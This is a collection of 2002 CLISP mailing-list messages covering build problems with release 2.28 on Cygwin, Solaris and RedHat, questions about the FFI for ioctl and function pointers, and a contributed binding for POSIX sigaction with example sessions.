the clx.f file to the clx.c file which finally gets built?
Is there documentation on the clisp functions which are called?
I am thinking about just writing a new package calling win32 functions
instead of the Xlib ones, instead, as libW11 is not very complete.
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Hello,

I compiled clisp 2.28 on Windows/Cygwin.

There is only one problem with ualarm
cygwin defines it as

useconds_t _EXFUN(ualarm, (useconds_t __useconds, useconds_t __interval));

and complains about the declaration in unix.d, line 296
# extern_C unsigned int ualarm (unsigned int value, unsigned int interval); 
# siehe UALARM(3)
and the redefinition in unixaux.d line 589.

I honestly don't know why this compiled in clisp 2.27 (I did that), because 
I can't see any change in ualarm.

After commenting these two definitions, clisp compiles fine, executes the 
test-suite with just one error inexcepsit.erg (I had that also in 2,27).

Is there anything that I can do to really resolve the ualarm issue?

Un saludo

Karsten



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> * In message <3C841C0A.CD52099@ieee.org>
> * On the subject of "[clisp-list] new-clx, 2.28 on solaris"
> * Sent on Mon, 04 Mar 2002 18:14:50 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
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> I had some problems compiling new-clx on solaris.  Attached is a gzip'd
> diff file with the changes I made, to correct the problems I had.

I cannot read the diff (it appears to be some ed(1) commands?)
please send the unified diffs (cvs diff -u), and do not gzip them
thanks!

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> * In message <895604849.20020305102312@ich.dvo.ru>
> * On the subject of "Re: [clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release"
> * Sent on Tue, 5 Mar 2002 10:23:12 +1000
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> I started this day from formatting C: instead of D:,
> so I should recover a bit...

I am sorry to hear this.

Whoever makes a binary of CLISP (win32, RPM, whatever), please put it
somewhere I can download it from (these days everyone has a homepage,
right? :-)

BTW, any RPM gurus here?
I did not touch the beast for 3 years and I don't have time to re-learn
the stuff right now, so maybe someone "in the know" could build the
current RPM?

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> * In message <m3y9h72wcb.fsf@validus.delamancha.org>
> * On the subject of "[clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21)"
> * Sent on Tue, 05 Mar 2002 04:32:52 -0500
> * Honorable IPmonger <ipmonger@delamancha.org> writes:
>
> 
> ./lisp.run -B . -Efile UTF-8 -norc -m 750KW \
>    -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"
> 
>   but this bombs with a segfault:
> 
> ;; Loading file /usr/local/src/clisp/build/deprecated.lisp ...
> ;; Loading of file /usr/local/src/clisp/build/deprecated.lisp is finished.
> *** - handle_fault error2 ! address = 0x203C5000 not in [0x202BD000,0x203866E4) !
> SIGSEGV cannot be cured. Fault address = 0x203C5000.
> make: *** [halfcompiled.mem] Segmentation fault
> 
>   Can someone suggest something to try?

edit Makefile, remove optimizations and replace -O2 with -g, then get
the backtrace.

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> * In message <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es>
> * On the subject of "[clisp-list] Clisp 2.28 on cygwin"
> * Sent on Tue, 05 Mar 2002 21:33:29 +0100
> * Honorable Karsten <vs1100@terra.es> writes:
>
> I compiled clisp 2.28 on Windows/Cygwin.

please "make distrib" and upload clisp-2.28-cygwin.tar.gz to
upload.sf.net/incoming

> After commenting these two definitions, clisp compiles fine, executes
> the test-suite with just one error inexcepsit.erg (I had that also in
> 2,27).

could you please remind me what the error is?
can you debug it?

> Is there anything that I can do to really resolve the ualarm issue?

it appears that cygwin provides a working ualarm, right?
where/how is it declared?

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> * In message <5.1.0.14.2.20020304133011.02a926e8@pop3.cris.com>
> * On the subject of "[clisp-list] Re: [clisp-announce] GNU CLISP 2.28 release"
> * Sent on Mon, 04 Mar 2002 13:38:37 -0800
> * Honorable Randall R Schulz <rrschulz@cris.com> writes:
>
> Is there a timetable on availability of a pre-built Win32 binary for 2.28?

Arseny Slobodjuck just built a binary for you -
find it in the usual places.

Thanks Arseny!

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> * In message <DFD875E85664D3118FA6080006277DE70521625F@U8PN2>
> * On the subject of "[clisp-list] ffi:c-pointer -> why char* instead of void*?"
> * Sent on Tue, 5 Mar 2002 14:34:50 +0100
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> The following
> (ffi:def-c-var compress-indirect (:type ffi:c-pointer)
>    (:name "clisp_ffi_indirector"))
> generates
> 	extern char* clisp_ffi_indirector;
> 
> Impnotes.html states:
> c-pointer 
> 	This type corresponds to what C calls void*, an opaque pointer.
> However foreign1.lisp implements (in to-c-typedecl):
> 	((c-pointer c-string) (format nil "char* ~A" name))
> 
> Is there a reason for this deviation?

not that I know of.

> Is that something left from the pre ANSI-C history of CLISP?

_you_ are asking _me_?! :-)

> I'd call the current behaviour a bug since I obtain a C compiler error:

fixed in the CVS.
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>   (let ((KDSETLED  #x4b32))
>     (unwind-protect (dotimes (v n t)
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> 			(linux:ioctl-write fd KDSETLED led)
> 			(sleep 0.050)) (sleep 0.025))
>       (linux:ioctl-write fd KDSETLED 0))))

[1]> (flash-leds 1 3)

*** - 1 cannot be converted to the foreign type FFI:C-POINTER
1. Break [2]> 
*** - 0 cannot be converted to the foreign type FFI:C-POINTER
1. Break [3]> 

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> * Sent on Tue, 5 Mar 2002 12:55:16 -0700 (MST)
> * Honorable dan.stanger@ieee.org writes:
>
> Is there documentation on the build process for new-clx, in particular
> the conversion process between the combination c and lisp like code in
> the clx.f file to the clx.c file which finally gets built?

not really - just Makefile and the source code.
note that the e2d program appears to have a Solaris-specific bug. :-(
it appears to work fine on Linux though.
it should have been written in CLISP actually - by the time we get to
the modules, we already have a working CLISP image.

> Is there documentation on the clisp functions which are called?
which ones?

> I am thinking about just writing a new package calling win32 functions
> instead of the Xlib ones, instead, as libW11 is not very complete.

great!

[actually, I would prefer GTK bindings instead of CLX tweaks -
 I hear GTK works on win32 also, right?]

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On Wed, Mar 06, 2002 at 01:03:53AM -0500, Sam Steingold wrote:
> > * In message <20020305202603.B9478@localhost.localdomain>
> > * On the subject of "[clisp-list] linux:ioctl"
> > * Sent on Tue, 5 Mar 2002 20:26:03 +0100
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> >   (let ((KDSETLED  #x4b32))
> >     (unwind-protect (dotimes (v n t)
> > 		      (dolist (led '(1 2 4) nil)
> > 			(linux:ioctl-write fd KDSETLED led)
> > 			(sleep 0.050)) (sleep 0.025))
> >       (linux:ioctl-write fd KDSETLED 0))))
> 
> [1]> (flash-leds 1 3)
> 
> *** - 1 cannot be converted to the foreign type FFI:C-POINTER
> 1. Break [2]> 
> *** - 0 cannot be converted to the foreign type FFI:C-POINTER
> 1. Break [3]> 

Hi,

What did you change the ffi definition for ioctl to?

I get this:

#<output buffered file-stream character #P"ioctl.txt" @1>
[2]> (load #"lisp/Linux/ioctl.lisp")
;; Loading file lisp/Linux/ioctl.lisp ...
;; Loading of file lisp/Linux/ioctl.lisp is finished.
t
[3]> (check-leds 4)
none
[4]> (check-leds 4)
none
[5]> (check-leds 0)
num
[6]> (check-leds 0)
caps
[7]> (flash-leds 0 10)
t
[8]> (dribble)

Works fine ... with the definitions I sent in the previous post.

Regards,
Peter


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Sam,

You wrote:

> edit Makefile, remove optimizations and replace -O2 with -g, then get
> the backtrace.

    I configured in directory "with-gcc-wall" and then edited the
  Makefile to remove the -O2 and added -g3.  I manually went through the
  steps and they all passed w/out a problem, including "make test" and
  "make testsuite".

    So, I configured in directory "with-gcc-wall-o2" and left the
  optimizations turned on (-O2) but added debugging (-g3).  The point a
  which it fails varies from scenario to scenario.  What doesn't vary is
  that it fails while trying to load a compiled .fas file.  What does
  vary is which file:  under gdb it fails *sooner* than when run w/out
  gdb.  Here's what gdb has to say:


  ;; Loading file format.fas ...
  Program received signal SIGSEGV, Segmentation fault.
  0x080a2ec6 in read_delimited_list_recursive 
   (stream_=Cannot access memory at address 0x14c7) at io.d:2548

  2548          Cdr(STACK_0) = new_cons; # =: (cdr (last Gesamtliste))

    The failure under gdb is always this same line.

    It seems like there might be a problem with optimization...

-jon
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>> * Honorable dan.stanger@ieee.org writes:
>>
>>    Is there documentation on the build process for new-clx, in
>>  particular the conversion process between the combination c and lisp
>>  like code in the clx.f file to the clx.c file which finally gets
>>  built?


> Sam Steingold <sds@gnu.org> responds:
>
>     not really - just Makefile and the source code.  note that the e2d
>   program appears to have a Solaris-specific bug. :-(  it appears to
>   work fine on Linux though.


    I have problems compiling new-clx due to missing semi-colons in the
  use of the macros UNDEFINED and NOTIMPLEMENTED.

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Hi,
[adding another section to my FFI cookbook work in progress :)]

There's an inherent conflict between type-safety and "anything goes" functions like ioctl (or printf). FFIs generally require some parameter type information. Therefore they don't fit such functions well.

The third argument to ioctl(), arg, can be one of:
 o an integer (or bit mask),
 o a string (or a pointer to a memory location to be read as a string),
 o a pointer to an integer or bit mask, when receiving values (:out usage pattern),
 o a pointer to some structure containing further information,
 o ... I didn't scan the manpages for ioctl, termio, streamio any further.
The actual usage of arg is defined by the second parameter.

This scenario is similar to printf(format, args...) et al where the exact type of the rest args is to be deduced from the first argument, the format string. Modern compilers do some safety checks (type consistency), but they can only do so when the format string is known at compile time (e.g. it is a literal "%d%c%s" instead of taken from a variable).

The usual solution is as you pointed out: split the usage patterns. Having separate setters and readers is typical for Lisp (and Smalltalk, Java, xyz). Some may argue it's easier to read or to assess code correctness. Furthermore, having several FFI definitions depending on various types of arguments is almost a requirement, as I explain below.

Another solution is to internally dispatch depending on the types of arguments. This can only be done where types actually differ. In AllegroCL, foreign pointers being integers (AFAIK), pointers are indistinguishable from integers, so this technique would not be applicable in general there.

What I mean is have several definitions around, using one of the following depending on the actual arguments:
 (:arguments ... (arg ffi:int))
 (:arguments ... (arg ffi:c-string))
 (:arguments ... (arg (ffi:c-ptr (ffi:c-struct ...)))) or a generic
 (:arguments ... (arg (ffi:c-pointer))) and hope for CAST (not working in CLISP)
 (:arguments ... (arg ffi:int :out))
 ...

This technique also suffers from lack of generality. While you could dispatch depending on an integer or string received as argument, you cannot do so when you expect an integer or string to be returned via an :out parameter. You need some way to express and tell the implementation what to expect.

A join of the two methods would be an attempt to minimize the number of entry functions and provide extra arguments indicating the types of other arguments or return values (similar to MAP or COERCE).

> Could ioctl be defined as one function with :in-out parameters,
> instead of being split up into two?

First, as seen above, there are even more than two forms. In your examples, you only covered the ffi:int :in and :out cases. Other ioctl() work on strings, buffers, structures etc. You defined ioctl-read-int and ioctl-set-int.

:in-out would not work because it passes a pointer to an int, whereas :in passes the integer value.

What you can do is define a single API entry taking ideas from MAP or COERCE, i.e. provide a description of the expected types and then dispatch internally. This could work for ffi:int, ffi:c-string in both :in and :out forms. It's more work when arg is a pointer to some structure.

Even c-string :out may not work because it's unclear where the memory to contain the string's characters comes from. It all higly depends on the actual ioctl() call.  For example, Solaris' manpage on streamio says about the command I_LOOK: "The buffer pointed to by arg should be at least FMNAMESZ+1 bytes long." [...strings vs buffers covered somewhere else in my upcoming article].

I advise not to try to mimic C and try and pass everything as either a ffi:int or ff:c-pointer, because you loose all of the comfort of what the various FFI give you: c-string conversions, function to pointer conversion, integers vs. pointers to one integer to hold a result value, etc. You'd then need to restore all of them by hand. Furthermore, some implementations, CLISP among them, won't give you pointers to the internals as others do (trivial with AllegroCL, available with CMUCL, TODO others).


> If a C function expects a (pointer to) a function in its argument
> list, can I give it a lisp function.  Ie, will the ffi convert it to
> the correct type for C, automatically.  What should the 
> allocation be?  

The conversion will occur in CLISP only if you declare the foreign function to take a function as argument. Using ffi:c-pointer will signal an error.
 (:arguments ... (arg (ffi:c-function (:arguments ...) (:return-type ...))))

Allocation for passing functions: Use the default (don't specify). Remember it's solely a pointer that gets passed around. For a Lisp function, CLISP will create a trampoline under the woods: that's what's pointed to. CLISP will remember the correspondance between the possibly new trampoline and the function indefinitely internally, since it has no means to know when the (pointer to the) trampoline will not be used anymore by foreign code.

I have no experience yet whether it's enough to just say
 (:arguments ... (arg (ffi:c-function))) or possibly
 (:arguments ... (arg (ffi:c-function (:return-type ffi:int))))
or whether a complete type must be specified and whether type coherence will be checked when passing an actual Lisp or foreign function object.
Please report.

I'd appreciate whether you find my elaboration useful, because I'd like to turn it (or part of it) into part of an article (and cookbook entry) I'm writing about FFI for CLISP, AllegroCL, CMUCL, CormanLisp and Lispworks.

BTW, we touch an area where I find the CLISP FFI quite limited. I once advocated foreign function definitions with local scope (as found e.g. in CMUCL with (alien-funcall (extern-alien ...))) since their pattern can be highly application dependent (as seen here). I dislike globally visible definitions of functions whose call pattern is so specialized that only a wrapper can call them. The wrapper is what needs to be global (and exported). I hope that my upcoming article will make more of the FFI design issues clear and lead to a more useful FFI for CLISP.

Hope this helps,
	Jorg Hohle.


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On Tue, Mar 05, 2002 at 08:18:33PM +0100, Peter Wood wrote:

> Here's the bit you censored out:

Don't you think "censored" is a strong word for a common SNIP to keep email
length down?

> [SNIP]
> 
> If you reread that, I think you'll agree that your code doesn't apply to
> what I'm talking about.

Sure, but I was wondering more about the name/type problem you were
referring to at the start of your email (I'd, possibly incorrectly, assumed
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Hi,

On Wed, Mar 06, 2002 at 10:59:11AM +0100, Hoehle, Joerg-Cyril wrote:

> I'd appreciate whether you find my elaboration useful, because I'd
> like to turn it (or part of it) into part of an article (and
> cookbook entry) I'm writing about FFI for CLISP, AllegroCL, CMUCL,
> CormanLisp and Lispworks.


Thank you very much.  I find your explanations extremely helpful, and
I believe I am beginning to understand how to use the ffi.

> 
> BTW, we touch an area where I find the CLISP FFI quite limited. I
> once advocated foreign function definitions with local scope (as
> found e.g. in CMUCL with (alien-funcall (extern-alien ...))) since
> their pattern can be highly application dependent (as seen here). I
> dislike globally visible definitions of functions whose call pattern
> is so specialized that only a wrapper can call them. The wrapper is
> what needs to be global (and exported). I hope that my upcoming
> article will make more of the FFI design issues clear and lead to a
> more useful FFI for CLISP.

I look forward to reading your article.

> 
> Hope this helps,
> 	Jorg Hohle.
> 

Yes!

Regards,
Peter


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> * In message <m3664ayx36.fsf_-_@validus.delamancha.org>
> * On the subject of "new-clx/Linux (was Re: [clisp-list] garnet on m$windows)"
> * Sent on Wed, 06 Mar 2002 02:27:57 -0500
> * Honorable IPmonger <ipmonger@delamancha.org> writes:
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> >> * Honorable dan.stanger@ieee.org writes:
> >>
> >>    Is there documentation on the build process for new-clx, in
> >>  particular the conversion process between the combination c and lisp
> >>  like code in the clx.f file to the clx.c file which finally gets
> >>  built?
> 
> 
> > Sam Steingold <sds@gnu.org> responds:
> >
> >     not really - just Makefile and the source code.  note that the e2d
> >   program appears to have a Solaris-specific bug. :-(  it appears to
> >   work fine on Linux though.
> 
> 
>     I have problems compiling new-clx due to missing semi-colons in the
>   use of the macros UNDEFINED and NOTIMPLEMENTED.

<dan.stanger@ieee.org> sent a patch for that already.
either put in the semicolons yourself, or get the CVS CLISP

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Sam Steingold <sds@gnu.org> writes:

>    <dan.stanger@ieee.org> sent a patch for that already. either put in
>  the semicolons yourself, or get the CVS CLISP 

    I did that last night.  Provided I remove all Optimization options,
  everything compiles fine.  I even played the Sokoban demo found in the
  clx/new-clx/demos directory.  :-)

    Thanks for your help!

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At 20:42 3/5/2002 -0500, Sam Steingold wrote:

>please "make distrib" and upload clisp-2.28-cygwin.tar.gz to
>upload.sf.net/incoming

done

> > After commenting these two definitions, clisp compiles fine, executes
> > the test-suite with just one error inexcepsit.erg (I had that also in
> > 2,27).
>
>could you please remind me what the error is?
>can you debug it?

I will debug that

> > Is there anything that I can do to really resolve the ualarm issue?
>
>it appears that cygwin provides a working ualarm, right?
>where/how is it declared?

Ualarm is defined in
/usr/include/sys/unixstd.h
as
useconds_t _EXFUN(ualarm, (useconds_t __useconds, useconds_t __interval));

useconds_t is in /usr/include/sys/types.h
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#define _EXFUN(name, proto)             __cdecl name proto


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> * In message <m3eliyyxv2.fsf@validus.delamancha.org>
> * On the subject of "Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21)"
> * Sent on Wed, 06 Mar 2002 02:11:13 -0500
> * Honorable IPmonger <ipmonger@delamancha.org> writes:
>
> > edit Makefile, remove optimizations and replace -O2 with -g, then get
> > the backtrace.
> 
>   ;; Loading file format.fas ...
>   Program received signal SIGSEGV, Segmentation fault.
>   0x080a2ec6 in read_delimited_list_recursive 
>    (stream_=Cannot access memory at address 0x14c7) at io.d:2548
> 
>   2548          Cdr(STACK_0) = new_cons; # =: (cdr (last Gesamtliste))
> 
>     The failure under gdb is always this same line.
> 
>     It seems like there might be a problem with optimization...

add -DDEBUG_EVAL -DDEBUG_SPVW to CFLAGS.

I use the exact same distribution and kernel here and I do not observe
this.
is it possible that you have some weird configuration issue (like some
libraries were compiled with gcc3 and other with gcc 2.96)?

is the crash totally predictable (I mean the place & time, not CRASH-P)?
if yes and you can stop in gdb right before the crash reliably, try
(gdb) p gar_col()
after pushSTACK(object1);  but before allocate_cons(); and see is the
crash goes away or happens inside GC.
also, do
(gdb) p object_out(object1)
and
(gdb) p STACK_0 (and STACK_1)...


the last resort would be for me to telnet to your machine and debug it
remotely... (I would hate to have to do this)

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> * In message <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es>
> * On the subject of "Re: [clisp-list] Clisp 2.28 on cygwin"
> * Sent on Wed, 06 Mar 2002 20:18:13 +0100
> * Honorable Karsten <vs1100@terra.es> writes:
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> At 20:42 3/5/2002 -0500, Sam Steingold wrote:
> 
> >please "make distrib" and upload clisp-2.28-cygwin.tar.gz to
> >upload.sf.net/incoming
> 
> done

I don't see it there - I guess this is not a viable path (I have to
release the file very soon after it is uploaded)

could you please put this file on a web page from where I could
download it?
thanks.

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"Hoehle, Joerg-Cyril" schrieb:
> I'd appreciate whether you find my elaboration useful, because I'd like to turn it (or part of it) into part of an article (and cookbook entry) I'm writing about FFI for CLISP, AllegroCL, CMUCL, CormanLisp and Lispworks.

yes, very useful.

> I once advocated foreign function definitions with local scope (as found e.g. in CMUCL with (alien-funcall (extern-alien ...))) since their pattern can be highly application dependent (as seen here). I dislike globally visible definitions of functions whose call pattern is so specialized that only a wrapper can call them. The wrapper is what needs to be global (and exported). 

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Sam Steingold <sds@gnu.org> writes:

> add -DDEBUG_EVAL -DDEBUG_SPVW to CFLAGS.

    Ok, so I did this and it fails to compile spvw.c because of problems
  in spvw_general.d:

spvw_genera1.d:948: structure has no member named `heapnr_from_type'
spvw_genera1.d:953: structure has no member named `heapnr_from_type'
spvw_genera1.d:962: `symbol_type' undeclared (first use in this function)

    These are caused by the -DDEBUG_SPVW flag.

    the heapnr_from_type member of the mem struct is only present if the
  following are true (spvw_global.d, lines 44-54):

        #if defined(SPVW_MIXED_BLOCKS) && defined(TYPECODES) && defined(GENERATIONAL_GC)
          sintB heapnr_from_type[typecount]; # Tabelle type -> heapnr
        #endif

        #if defined(SPVW_MIXED_BLOCKS_OPPOSITE) && !defined(TRIVIALMAP_MEMORY)
          # now empty, free for Lisp objects.
          #define MEMRES  conses.heap_end
          # now the emergency reserve
          # Upper limit of big allocated memory block.
          aint MEMTOP;
        #endif

  GENERATIONAL_GC, SPVW_MIXED_BLOCKS, SPVW_MIXED_BLOCKS_OPPOSITE and
  TRIVIALMAP_MEMORY are all defined, but TYPECODES are not -
  NO_TYPECODES are instead.  So, there is a bug here in spvw_genera1.d,
  lines 945-957, as not all SPVW_MIXED are the same.

        #ifdef SPVW_PURE
        heap = &mem.heaps[type];
        #else # SPVW_MIXED
        heap = &mem.heaps[mem.heapnr_from_type[type]];
        #endif
        if ((addr >= heap->heap_gen0_start) && (addr < heap->heap_gen0_end))
          return false;
        #ifdef SPVW_MIXED_BLOCKS_OPPOSITE
        if (is_cons_heap(mem.heapnr_from_type[type])) {
          if ((addr >= heap->heap_start) && (addr < heap->heap_gen1_end))
            return true; # Pointer in die neue Generation
        } else
        #endif

    I don't know enough about what's going on to even offer a suggestion
  as to how to fix it, though.  :-(

    The error about symbol_type is due to the fact that TYPECODES is not
  defined. 


>    I use the exact same distribution and kernel here and I do not
>  observe this.  is it possible that you have some weird configuration
>  issue (like some libraries were compiled with gcc3 and other with gcc
>  2.96)?

    I don't think so because I personally never use gcc3.  However, I
  have run the RedHat up2date facility and *they* might have done that. 

>    is the crash totally predictable (I mean the place & time, not
>  CRASH-P)?

    yes.

>    if yes and you can stop in gdb right before the crash reliably, try
>  (gdb) p gar_col()
>
>  after pushSTACK(object1);  but before allocate_cons(); and see is the
>  crash goes away or happens inside GC.
>
>  also, do
>  (gdb) p object_out(object1)
>  and
>  (gdb) p STACK_0 (and STACK_1)...

    I'll try these as well, once I get it to compile with the debugging
  statements you've suggested above that seem to be causing problems.

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:language defaults to :C (flag 512) for functions defined via
(c-function ...).

I propose
1. document the default ("Choice of C flavour") in impnotes.html

2. change the default to :stdc (ANSI) instead of :C (K&R)

Cost of change, to users: def-c-call-in/out is unaffected, and I =
believe only a tiny portion of users ever used c-function directly. =
Most stuff just passes ints and c-strings around.

In todays's context, I find it not meeting common sense expectations =
about program behaviour that things defined via (ffi:c-function =
(:arguments ...)) must not forget (:language :stdc) or they'll get K&R =
:C calling conventions.

3. please document what :stdc-stdcall means.

Thanks,
	J=F6rg H=F6hle.


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Hi,

Sam Steingold wrote:
> see CLISP/win32*/
> I used msvc6 with CLISP/win32msvc/makefile.msvc5 and followed the
> instructions in CLISP/win32msvc/INSTALL
> everything worked just dandy.
I can confirm this, using MSVC6.

However, here are some observations of mine:

o (queens 21.0s0) still crashes.
--------
o genclisph.exe and as a consequence clisp.h are not generated and there's even no makefile target for them.
Did anyone ever build a module on MS-windows?

What is the wgenclisph.exe that makefile target clean0 may remove?

I used the following to complete the makefile (somebody please add this to makemake):
genclisph.exe : genclisph.obj
	$(CC) $(CFLAGS) $(CLFLAGS) genclisph.obj /Fegenclisph.exe
clisp.h : genclisph.exe
	genclisph.exe > clisp.h

--------
clisp.h is not quite correct:
mtest.c (generated from my private mtest.lisp) includes clisp.h
clisp.h(24) : error C2632: 'long' gefolgt von 'long' ist unzulaessig
clisp.h(25) : error C2632: 'long' gefolgt von 'long' ist unzulaessig
It seems like genclisp.d doesn't reproduce lispbibl.d which says:
#elif defined(MICROSOFT)
  typedef __int64           SLONGLONG;
  typedef unsigned __int64  ULONGLONG;
  #define HAVE_LONGLONG
#endif
and just outputs:
typedef long long           SLONGLONG;
for Microloft VC, which is not accepted.

--------
o when linking lisp.exe
Befehlszeilenwarnung D4002 : Unbekannte Option '-lm' wird ignoriert
Probably makemake needs to be changed?

--------
o dirkey.lisp:
The following functions were used but not defined:
 LDAP::TEXT
TEXT seems to come from package SYSTEM instead (SYSTEM::TEXT) and used
in producing error messages (IIRC it's a marker for GETTEXT).

--------
o One of dirkey.lisp or dirkey.c should be renamed (like affi|1,
foreign|1, rexx|1.{d,lisp}) This will avoid dirkey.c to get
overwritten the day dirkey.lisp will contain some FFI definition, when
it's supposed to be generated from dirkey.d. Furthermore, makefile
(MSVC6.0) get confused and wants to rebuild my dirkey, maybe because
of this?? or maybe because somehow dirkey.c disappeared?

--------
Seen after I added MODULE(mtest) to modules.h:
modules.i.c
modules.h(1) : warning C4113: 'void (__cdecl *)()' weicht in der
Parameterliste von 'void (__cdecl *)(struct module_ *)' ab
modules.h(1) : warning C4113: 'void (__cdecl *)()' weicht in der Parameterliste
von 'void (__cdecl *)(struct module_ *)' ab
"x deviates in the parameter list from y."
Looks like something was missing or not expanded. That doesn't look like a good definition.

I also have 5KB worth of compiler warnings from varying C files (in German, sorry). Where should I send that?

Regards,
	Jorg Hohle.


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Hi,

I would like to submit for inclusion in linux.lisp the following ffi
definitions for signal handling with sigaction. This augments
"LINUX" with access to the following functions:

sigemptyset, sigfillset, sigdelset, sigismember, sigprocmask,
sigpending, sigsuspend, sigaction, kill, killpg, raise, sigpause

Attached is sigaction.lisp (which can just be pasted into linux.lisp at
the end before the clean up comment) and siga-wrap.lisp which should
be loaded from a lisp run with ./full/lisp.run -M full/lispinit.mem in
the directory you have built in.

A problem which I encountered was that the signal handler function in
a sigaction struct can be (in C) either a pointer to a function, or an
int!  However the only ints which get used are SIG_IGN for ignoring
the signal, or SIG_DFL for restoring the default.  So I have not
attempted to solve this problem because it is easy to provide the same
functionality as SIG_DFL and SIG_IGN by other means.  If anyone has a
reasonably simple way to enable the use of SIG_DFL and SIG_IGN as ints
in the struct, I would be very interested to hear.  If it was a
c function, I would split it into 2 cases, for handling the different
types, but what does one do when it's a struct!?

A peculiarity which may be a bug in the ffi was this: The sa_flags
member in a sigaction structure is declared (in C) as an int.  However
Clisp reported that it could not coerce SA_RESETHAND (reset to default
handler) to an ffi:int. It had no problem handling the flags for (eg)
linux:SIGINT, which was also type BIGNUM.  According to the
documentation, lisp name 'int' and C 'int' are equivalent.
SA_RESETHAND is defined as #x80000000.  Changing ffi:int to ffi:uint32
in the ffi definition for the sigact struct solved the problem.  Why
does it work in C if SA_RESETHAND is too large.  There may be a
problem here, or am I missing something.

Obviously, the sigaction stuff has not been _rigorously_ tested.
However it has worked nicely for me, up to now. You should probably be
careful in case there is some unknown problem.  Here is an example
session using the definitions, and siga-wrap.lisp (also included)
which is just a bunch of convenience functions.

-----------------------example -----------------------------------

[2]> (load #"bindings/linuxlibc6/siga-wrap.lisp")
;; Loading file bindings/linuxlibc6/siga-wrap.lisp ...
;; Loading of file bindings/linuxlibc6/siga-wrap.lisp is finished.
T
[3]> (setf oldsigact (signal-action-retrieve linux:SIGINT))
#S(LINUX:sigaction :|sa_handler| #<FOREIGN-FUNCTION #x080525D0> :|sa_mask| #S(LINUX:sigset_t :|val| #(2))
   :|sa_flags| 335544320 :|sa_restorer| #<FOREIGN-FUNCTION #x400ACB18>)
[4]> (setf savehandler (sa-handler oldsigact))
#<FOREIGN-FUNCTION #x080525D0>
[5]> (defun wow (s) (format t "Wow! You zapped me with signal ~R~%" s))
WOW
[6]> (setf (sa-handler oldsigact) #'wow)
#<CLOSURE WOW (S) (DECLARE (SYSTEM::IN-DEFUN WOW)) (BLOCK WOW (FORMAT T "Wow! You zapped me with signal ~R~%" S))>
[7]> (signal-action-install linux:SIGINT oldsigact)
T

;;now Ctrl-C calls #'wow !!

[8]> Wow! You zapped me with signal two
Wow! You zapped me with signal two
Wow! You zapped me with signal two
Wow! You zapped me with signal two
:a
:A
[9]> (setf (sa-handler oldsigact) savehandler)
#<FOREIGN-FUNCTION #x080525D0>
[10]> (signal-action-install linux:SIGINT oldsigact)
T

;;Ctrl-C calls the original handler !!

[11]> 
*** - Ctrl-C: User break
1. Break [12]> :a

[13]> (dribble)

:-)) cute, huh?
------------------------------------------------------------------------

#'mysignal in siga-wrap.lisp is an example of how easy it is to write
signal() using sigaction.

----------------------------example usage ---------------------------

[2]> (load #"bindings/linuxlibc6/siga-wrap.lisp")
;; Loading file bindings/linuxlibc6/siga-wrap.lisp ...
;; Loading of file bindings/linuxlibc6/siga-wrap.lisp is finished.
T
[3]> (setf oldh (mysignal linux:SIGINT #'test1))
#<FOREIGN-FUNCTION #x08052620>
[4]> (linux:raise linux:SIGINT)
got signal two
0
[5]> (linux:raise linux:SIGINT)
got signal two
0
[6]> (mysignal linux:SIGINT oldh)
#<FOREIGN-FUNCTION #x08268520>
[7]> (linux:raise linux:SIGINT)

** - Continuable Error
PRINT: User break
If you continue (by typing 'continue'): Continue execution
1. Break [8]> :a

[9]> (dribble)

----------------------------voila :-) ----------------------------

According to my manual, sa_restorer is obsolete and should not be
used. 

Please note that if you use SA_RESETHAND, you reset the handler to the
system's notion of default handler, not Clisp's, so if you then hit
Ctrl-c, you would exit Clisp!

Finally, here's an example of using sigprocmask and sigpending.

---------------------------example--------------------------------

[15]> (setf sigact (signal-action-retrieve linux:SIGINT))
#S(LINUX:sigaction :|sa_handler| #<FOREIGN-FUNCTION #x08052620>
   :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320
   :|sa_restorer| #<FOREIGN-FUNCTION #x400ACB18>)
[16]> (linux:raise linux:SIGINT)

** - Continuable Error
PRINT: User break
If you continue (by typing 'continue'): Continue execution
1. Break [17]> :a

[18]> (set-sigprocmask linux:SIG_BLOCK (sa-mask sigact))
T
[19]> (linux:raise linux:SIGINT)
0
[20]> (sigpending? )
#S(LINUX:sigset_t :|val| #(2))
[21]> (set-sigprocmask linux:SIG_UNBLOCK (sa-mask sigact))

** - Continuable Error
EVAL: User break
If you continue (by typing 'continue'): Continue execution
1. Break [22]> :a

[23]> (sigpending? )
#S(LINUX:sigset_t :|val| #())
[24]> (linux:raise linux:SIGINT)

** - Continuable Error
PRINT: User break
If you continue (by typing 'continue'): Continue execution
1. Break [25]> 0
[26]> (dribble)
-----------------------------------------------------------

Sorry about the long post.

Have fun,

Regards
Peter

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; --------------------------------- <bits/signum.h> ----------------------------
;  --- Posix sigaction ---
;  Peter Wood 2002
; just paste into linux.lisp 'as is'

(defconstant SIGHUP		1)       ;; Hangup (POSIX).  
(defconstant SIGINT		2)       ;; Interrupt (ANSI).  
(defconstant SIGQUIT		3)       ;; Quit (POSIX).  
(defconstant SIGILL		4)       ;; Illegal instruction (ANSI).  
(defconstant SIGTRAP		5)       ;; Trace trap (POSIX).  
(defconstant SIGABRT		6)       ;; Abort (ANSI).  
(defconstant SIGIOT		6)       ;; IOT trap (4.2 BSD).  
(defconstant SIGBUS		7)       ;; BUS error (4.2 BSD).  
(defconstant SIGFPE		8)       ;; Floating-point exception (ANSI).  
(defconstant SIGKILL		9)       ;; Kill, unblockable (POSIX).  
(defconstant SIGUSR1		10)      ;; User-defined signal 1 (POSIX).  
(defconstant SIGSEGV		11)      ;; Segmentation violation (ANSI).  
(defconstant SIGUSR2		12)      ;; User-defined signal 2 (POSIX).  
(defconstant SIGPIPE		13)      ;; Broken pipe (POSIX).  
(defconstant SIGALRM		14)      ;; Alarm clock (POSIX).  
(defconstant SIGTERM		15)      ;; Termination (ANSI).  
(defconstant SIGSTKFLT	        16)      ;; Stack fault.  
(defconstant SIGCHLD		17)      ;; Child status has changed (POSIX).  
(defconstant SIGCLD		SIGCHLD) ;; Same as SIGCHLD (System V).  
